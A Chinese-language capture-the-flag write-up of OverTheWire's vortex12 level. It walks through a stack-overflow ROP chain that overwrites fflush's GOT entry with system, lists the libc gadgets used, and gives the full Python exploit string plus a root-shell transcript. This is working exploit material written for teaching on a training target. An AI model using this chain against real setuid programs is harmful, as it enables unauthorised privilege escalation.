0x00

这个 ROP 是 overthewire.org 的 vortex12 的题目。以前以来我一直觉得 ROP 是一个难攀的高山,不过终于要面对,所以还是硬着头皮上了。感觉上来说的确是不难,但是要自己构造汇编,正如你所知道的,汇编是非常 TMTOWTDI 的东西,所以给予我们 ROP 的机会,同时也带来了很多的麻烦。

0x01

言归正传,这个题目的解答只需要一个目标:覆盖某个函数的 GOT 表。具体实现如下:

  1. Stack Overflow 覆盖返回地址
  2. 通过 ROP 覆盖 fflush 的 GOT 表地址为 system
  3. system 函数执行命令获取 shell

因为是栈溢出,所以我们可以控制栈布局。首先我们需要做的是从栈里拿出准备覆盖 GOT 表的地址,可供实现的语句有:

  • pop eax / ebx / ecx / edx ...
  • mov eax, dword ptr [esp+0x0 / 0x4 / 0x8 ...]

但由于需要把数据写在栈里,我们不能直接 mov,而是用 pop 取出栈里的数据,以保证 ROP 可以正常进行下去。

接下来通过 ROPgadget 来获取 libc 里的 gadget。

ROPgadget --binary /lib/i386-linux-gnu/libc.so.6 --only "pop|ret" > result_pop.txt

接着挑选合适的 gadget:

➜  Desktop  cat result_pop.txt | grep pop
0x0002fe32 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0008f4a4 : pop ds ; pop edi ; pop esi ; pop ebx ; ret
0x0002d18d : pop ds ; ret
0x0008f09d : pop dword ptr [0x5e5f0000] ; pop ebx ; ret
0x0001700b : pop eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0002fe2a : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x000a74e7 : pop eax ; pop edi ; pop esi ; ret
0x00023c4f : pop eax ; ret
...

其中 0x00023c4f : pop eax ; ret 比较符合我的期望值,eax 是个常用的寄存器,而且这个 gadget 只有一句,污染比较少。

接着再寻找 mov 的 gadget。

ROPgadget --binary /lib/i386-linux-gnu/libc.so.6 --only "mov|ret" > result_mov.txt

因为我们上面用的寄存器为 eax,所以我们寻找用到 eax 的 gadget。

➜  Desktop  cat result_mov.txt | grep mov | grep eax
...
0x0012a81b : mov edx, dword ptr [esp + 0xc] ; mov dword ptr [eax], edx ; ret
....

这一个 gadget 比较符合要求,先从 [esp + 0xc] 取出 edx,然后向 eax 指向的地址写入 edx 的值。
那么这里 edx 的职能就是存放着我们要写入 GOT 表的数据了。
最后这道题需要死循环一下,寻找一个 jmp 到自身地址的 gadget 就完工了。

0x02

把这些 gadget 拼凑起来的样子是这样:

=> 0xf7e1ec4f <__ctype_get_mb_cur_max+31>:  pop    eax
   0xf7e1ec50 <__ctype_get_mb_cur_max+32>:  ret
=> 0xf7f2581b:  mov    edx,DWORD PTR [esp+0xc]
   0xf7f2581f:  mov    DWORD PTR [eax],edx
   0xf7f25821:  ret
=> 0xf7e288f9 <modfl+441>:  jmp    0xf7e288f9 <modfl+441>

exp 为:

python -c "print 'A'*1036 + '\x4f\xec\xe1\xf7\x10\xa0\x04\x08\x1b\x58\xf2\xf7\xf9\x88\xe2\xf7AAAAAAAA\x10\x2e\xfb\xf7'"

运行完第一个 gadget 时:

EAX: 0x804a010 --> 0xf7e5f840 (<fflush>:    sub    esp,0x1c)

运行完第二个 gadget 时:

EAX: 0x804a010 --> 0xf7fb2e10 (<system>:    push   ebx)
EDX: 0xf7fb2e10 (<system>:  push   ebx)

fflush 的 GOT 表已经被覆盖成 system 的地址了。
最终成功还需要一个 trick。因为 fflush 的参数是 stdout,其指向的内容为 0xfbad2084,新建一个文件名为 \204*\255\373 的文件,赋予 x 权限,然后将此文件目录加入到 PATH 之中,system 就可以直接调用了。

最总效果:

sh-4.2$ cat $'\204*\255\373'
#!/bin/sh

/bin/sh
sh-4.2$ export PATH=$PATH:`pwd`
sh-4.2$ ./vortex12 "`python -c "print 'A'*1036 + '\x4f\xec\xe1\xf7\x10\xa0\x04\x08\x1b\x58\xf2\xf7\xf9\x88\xe2\xf7AAAAAAAA\x10\x2e\xfb\xf7'"`"
0
sh-4.2# id
uid=65534(nobody) gid=65534(nogroup) euid=0(root) egid=0(root) groups=0(root),65534(nogroup)
sh-4.2#